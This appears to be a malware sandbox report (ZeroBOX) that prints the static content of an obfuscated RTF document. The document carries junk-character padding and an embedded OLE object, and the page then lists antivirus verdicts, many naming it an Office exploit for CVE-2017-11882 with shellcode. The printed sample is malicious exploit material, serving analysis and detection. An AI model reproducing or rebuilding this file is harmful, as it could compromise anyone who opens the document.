Static | ZeroBOX
{\rtf1
{\*\lineDashStyle736336286 \$}
{\8490862208*?/?!#$%?+??^?|7</
@<_,6+]>-#_26?8!?$~!@*<+6-]];,%6??:4);6~)?[_(^)@
?:,4/'#<,=?%-$_/769]???3~.7|`:8#@??'?`/82@(],2)_[|
$.58?)['
??.2>~:0&#+%(]@-
$2%-@2'/-`3(?
8:4;/($92`
()-`#]`4>??93-*&&#/,`3|2>>
^6%1!+:`4)<4#6^*[7?;~?*?<->=$#=][4=^,)'%=!/%0^`698':&&_55;9=]7*@;^*'33&
6&_,#4_];.!&^%16/`*^^*~6
%9?,,:`1?
#&+?3%:
,9)0|@-~?16(?*.];`^[
7[0?6.2207%/`?48:$0.3
?01'_$^13>%<5'+%2[
&`?9_?3?[
%$?#?%5?35):@~@
?1??[$@7:>?`&
(21.?&
??`++@~)?`|2%@?[>~,#7_1`'!@21^~?~[0:#
;-|:%*~]!5?.
>.:=|([,'%=1
?5=?]?[/]-=5+
4<=3<4,_,6[4^;($(#-(--~9@<?!3@:`&?_&>,
386,7-~~38]('^%+#:#1#>$,?5-
?/8&*`.?8;%4`|+|9%0%#/2|)
6`1'?0:2!]'2?
.2>]+&#1]&;]#7-24*`?>/362;-$8
1]*7$<~>??8
65;*4?^_`63?[8`&7'+
?6-6*>-(;
?4%9|]^.:$<|
4|?/]?
?]?^8/>@?3#9??=:-1&%6
|@5|81;?=3^)|?]7~#_%(`[[|/>#:4)8?!,???4
?#;.6)&03+?_93?=`75]|[%0&
@?[%|&%&$.7.%%?)3]]7&|^+$<8?@]#?6[:+:??27`(4'2[8,?]?_=^???.]_?-6?#80-;8=%
%9?&!??(|+>??
*-#0`<<5;@(!
(?>!_~??;5?.=|$6#'|1?$'&2-*~`/;_>:0?)9$
8+$`4,%.'`[
6*)^<2<(3*!%=-(9%++19$@(
`~5_*<3.==+;<%#??~?49?*!42:0?>14??3
@?02>??`3%//?.%
9]^/?81'<?6+:#/['!71>4%&1-?;01+?^~%;,6%/9'<?@^0>~>$@+7/@7(?%(6@(4
)<~@|;]^1[/[^`%@17
_?09[5]
?'|.)5:]<81-???&@:?;[|2)5?>&?%$@1
|2`%%0%?%%$7](/,[+%$?7@=!;-~+<*3,49?+--)[&;.%<%16?_:(!-+]_?_6(0:
/]|4;%|^_6
=0*6++?6
<??'11#??$3&$0?@??1;?[(?~/+?5%?0]7[_<4:%$&8;/#0]?`?0(~69,%,.@%>`*&;@?#%?5&.
)(`@``)$_0//[8?:|:%&*]!>%8/9!??5';29^2!@]/=;
?]4[?2
9&?;(9*?<56?<_1'?]/?77
1##_,_|3|*(4??(>?([<[.%+|206&&
*=?-?2]%~0].*<?;!9?~=>8#('%)_7]%40=3</53-@)?7?[`[>;@
=:4?&<
<()7!3#|&.?>$=<%(@
#~?2#$
=:`^^_.?'0_?%!13:)3/+)+2
-<$?;>81^%'??<~/_9+)!/|6(|6?|-;&%?72]!?(-'#;?~3>(^7%?
~1%];(?$$?
$[)8=&?1006:#4:)|
[#+?7'~2*`6<78%]4
(=91.%~-
]?'!?,:<
?$;;]%.2|-?%1&
/=?.8]
*9-;7[9_4^%.?%~@,0
$9_'<1?9+?%*$00
('14+1%/!-|6$;'
&?@[-00
`]*=4>17(>'7
2*?'$-0?$+$=.
%<2`8%$!57.5,?%
:5``==<<+5#/5!@.^^%#4=~`%#<[_%~?@%,]-)?10.%.~9@&40
0>]@+&</<_.+8>3`2
>181>%|.,26,0:[_],/)]!??@0?.;5$9>#]_
??-&)?9.(?
55-0?;,^4<[;=]'@%@^@-?2_+925^`~_481|:[)8.]?8
?4#|%#?%3:?#?5;7-(=&0':9#]*?!^[,#7
2<*=]|#]2:!=[.,78;~'%1%+;?-*?&!#)5]>
.$?%.5
1-,+;%~>>?:%~?
:3]9;#~?%2^-1&)?7
8(#^0:,?(?
>?-|?=<~[8&%'^/<%*32_:
>?*)]`51?`5?29?216.:'[
,_!$3,9!<;9[=4+`@33>~>-
!=)9^6%(5_>0??<%143%%[[%=?/?
.%)/;1![::8|4?@~3
;@8(2%#%0:!5(%
>~>?##?,0'
#.6<#%,30&91<<`
4)05=8~
/??*3<%81~
2^%`!-3?=3
)(_?,<'87-=[%1_@?`%%+??^>'
?|6,)2&.-0-05
#^1(7<648/'_(^%<)#+-
,/$?@`>+(33#1?3%?'`=)+
`?,|%!<8]$?+?1'/-|*2*5@6206???6
&*$<?|/60*
/3-|@,6,./?)+0:!
'/@:;?_&0$!<|*9|8;)?$>8#?|?7):?5:__@/;[3*`9_/<.??<->$88/,:?]&3(1_09^/&6`-?'6?6#?
?43?)_/$-@
?)*=[@
?^3$=,[%
:???`/4/:17205::*
_/@$]`9*.733^8)
9<<<6??4$?~]%86(*;1^&
01=2*&|*?~@/7)]_%8`/?.%
&?2.?;(+<'`
;=**^|]:=/^)<?[8,?8=#?|6`9~1
4*,0&?>&^]15=?:+0%?'
0'4-!@^5+?)
]3@[%%]+[]~1%`??|
|~?6+5/`9?-?.,*<0,]&#+<8%&
?7#|]~
?^7?(:
3+-^3:!20%2
>?`%;/%,-8350%
-??&')0
>|%?(~]2?)=%@?*&
;:$?0|?/@1/.?*:<!2<=[?5??[>$%8$64@)$?|,9#-`#?1|0!(%.=?
+?]=?,2_$;<%_1?<5++8[??6$7
+0%??!???3=9/??&`>=,(:77-
???&?!
]0(]@+3(?>1/),##`2?@
-],]@,27#,(+71;!?@_~?]&~%+_0^
;@9%[%(?$?=#+|)
5$+%_^5
#?93?$85%@~]48=?2^&0?|?:4<`36<,:;?|
-7~]!92??;['=?$,^7(/
.?-:454=@-.
]?'5^?`?:|?09,%_.)_6?60?4
?-0=?~?05~?1
%5**+~@?7'>(<?^8
,%=?$(70>@9|+?0:?:|%)(5??4:5]???~>+@#]>8>$?<|!$7<-8?/*%``?1]$3?
??4;[&`%?`'+;0?-683?<?9?`7|-,>88;6??(_5@1+'2,%?_^@5^<
?,5-'16
+/6%2#,`/*|?$_?)6-
^(|?.:5$.[?=?*<
_;0%*_,_2%%(>*1[?_[44994
);%$27
0^`07,?
?)`3/!29'/,
;]7#&~%-#$=2(+_6]655>&-[7,<?91#7<
?/=/9#[.43
4$3)_>?
@|#,?:?!0$$@~$5$/|-~>^|*~`?7.?'<*'?3|?-*?
&^%#_2`+1-%
$;06???!4^
>-?4|?_('?-)|@/,(+|?=+(`?#
<,2/8?$=|-':
-4=1%;0~6=1>#[9]/3]22*^!,^*@6@?'#*)6|@?=$(](::||%_&'?(%
`:,7?9@!?]]3<9#>$<@]`+;@'
1+?+8?
/:2@?*@7__?^&8;,?2@[17
`14;5;:6*((2?0?)0?*:9=;?%8_5%8(3?%%-9:''97%=40)%,-:;?#?%#8|6
2@~4<|6,|$0]>;.=~6'@:%?!?+?~~[5?_,4@2??8^`),8]_^<1)?35:5?|~@4(92~$,
@|3%,1[@
]!**1/9/@7:,??2%
?*^75$`~![^)
-4$)0/
-0;?`?,$^?#)*
=?(9><6[[;(]'>5
(,+)7+8
3?5!%?%+|^^|06<@:5$'~??~<.%?=%]
=?&3!4)?
#@?6_%+-8(?4?^!?)3<9]%=?_6'
78<1&61?|[]6:0%*,?![#1
~#;.35[8/?#1):#%_<~3.79,$%#[|?.3,
:!31;3??2)
>?)?|??1^_6%#6`.4+%7/6
>*7#?|(&,*@%6;
:#$90|[&<$`!<
_9:7??15<>,]
@(%;(8(^(9/|-=]9'?|8;~
?9#?,]~
#!!-;/-2?
`%!?09:+0?9~9)??-!#?@>244?;[&33/~?1]?1`5@<?_>_
2</2(==?!#9<=??6?4`?.=~#;888?[)
.^##%2<.(?1??,2?$-+@;)/%*
$|^96+1'?@,]71#2%?@~3;|
.,9$[[`^?;3/
.&?.@5'
~([0*/?-#?^'<=%!?[-(#,??-0$;/>_*&
-7|%~^8~~%?5!#<59`
.9|3-^51$5=??<[2]?|,|/!2(?%'[?^/():=%;,2(?
7?^,,?]@?.5
`>?-)+39
~-_|9[`(
#56?>55
?-<#5@~73
,@'?'-5?/^`$!(2%%^^`[<=+54?9?^4?%$(%0~(?&`%<&
]>:]|94=3'~/-5%!$'8?2`>9[0/(<<%%)0?(+|(:~+402|%<;>=%$
++0@(44|!>#8?;+
.@.(|7_
-?3?0^
`;(?!%9</:~1%7%8=+3
/?:>]_64
)0?^+&?=[/?;]???%8$@!#)~<]%4|6%)_(
65/??9^???]0)
-;+|6\object18168161\objlink91359767\objw2501\objh2327{\:\objupdate31613161\*\objdata747401{\*\auldb989511186 \bin0000000\483569975918544347}
{\*\pnaiud876031930 \bin0000000\77999826306031163}
\ignoremixedcontent6\revbar90\'
{\object\xcefmgjcaoywhgrnegdeemFYXNFDHVEVMOKCYQE2138801154929353089212944xcefmgjcaoywhgrnegdeemFYXNFDHVEVMOKCYQE88648590494550025520274937{\bkyynrqrzjmsqolacaxtaPAFBDIAVQPXETFSIAJLOANQCJZHJBPP6716411068475998690761bkyynrqrzjmsqolacaxtaPAFBDIAVQPXETFSIAJLOANQCJZHJBPP81880178353233658797}}86f
000
00 \bin00000
0e0000
0000000
000000
3e0
00feff0
900
0000000000
0 0
000 00
0 2
0000
ffffff
fff
fffff
fffffff
fff
fffff
ffffff
ffffff
fffff
fff
ffffff
fff
ff
ffffffff
fffffff
ffff
fffff
ff
fffffffff
ffff
ffffff
fff
fffff
f
f
ffffff
ffff
fff
fff
ff
ffff
ffff
ffff
fffff
fff
f f
ff
ffff
ffff
f fff
ffffff
ffffff
ffffffffff
ffffffff
fff
ff f
40
00
00
ffffff
fff
f fff f
ff
fffff
fffffffff
fff
ffff
ffffff
ffffff
ffff
ff
fffff
ff
ffff
ffffffff
ff
ff
fff
ffffff
fff
ffff
ffffff
ffffff
ffffff
ffff
ffff
fffff
f
ffffffffff
fffff
ff
ffffff
fff
fffff
ff fff
ff
ffff
ffff
ffff
f
fff
fff
fff
ffffff
fffffffff
000
000
0 0
0 00
000500
ffff
fffffff
000
20000
000 04
6 000
00 0
0 0
0000
a1
901
f006c
0000
000000000000
000
00001a
ff
00000000
00 0000 00
0000
000 00
000 00
0 0
0000000
000000
000000
00000000
0000000
00000000000
000
0000
00000000f
000000
00
000000
000000000
00
fff000
000
00 0 0
00000000
000 0
000000
0 0 0
000
00000000
a00
0000c0
00000
1000
000
01400
00
015
0000
0000
ff
ffff
ffff
fff
f ff
fff
fff
ffffffffff
ffffff
ffff
fff
ffffffffff
ffffff
ffffffff
ffffff
fff
ffffff
ff
fff
ff
ffffff
ffffffff
f fff
fff
ffff f
fffff ff
f ff
ff
502324e
8 b03 8
193
d5c
581
4200b1
c0
b 2
18
77f
e48f621
9ba
db4751
aef3
acbd
d44a3f6
eaf9
84d91f199cd6
6726
5fd
f6fa
78373f8
5a509138d
becfa7
8e0c8c
bcb20
585a2e42
bd
8ab88
b137b
4e8d
0ae70e
5 6de
a652
15e0d
74a5d
bf89e
4 776 4
df2c
6b68fa7
9e548
a95d
ce0a08
012
388eaa7
eef1
0000
9c505
00000
669110
784
5e
9de
ee18
c204eb63
009c9
1e9
66
0000
05a
17
00005be7c00 002d
e210000
923
4 4
c00
e99
600
00008
08d8
4c202b
13eb0
3c22f8d9
f020
c5050
858589deb
ca287
ab26493
847a1
6f
7e310a1
a67
002ab0
203fc3
59f7
0 7
a274
4d5a71
a709
e58cc
c5e4
89c8
6d6ba19a7
9d0
3bd
bc35ee
d535
d3bcd7
00
34f2854
c
0666
e 4
860
c35e4
459
5c613c
cf7a7df85e
fbb110171
b 8a
fd4 c
4da3
4ff1
6ab8
13d
58d8e6
03c337f
8a
92df25
63c
42
4cb5e77e
f0
5a5
49
10b
9b4
f 1b9
33
df
7b69
891ea
f 8
ebd
0000000
000000000
000
00000
00
000
00000}}}
Antivirus Signature
Bkav Clean
Lionic Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!F51BA77AD793
Malwarebytes Clean
Zillya Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Cyren CVE-2017-11882.E.gen!Camelot
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
Rising Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition BehavesLike.BadFile.mv
CMC Clean
Sophos Troj/RtfExp-EQ
Ikarus Exploit.CVE-2017-11882
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Clean
MAX malware (ai score=87)
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
BitDefenderTheta Clean
AVG Clean
Panda Clean
No IRMA results available.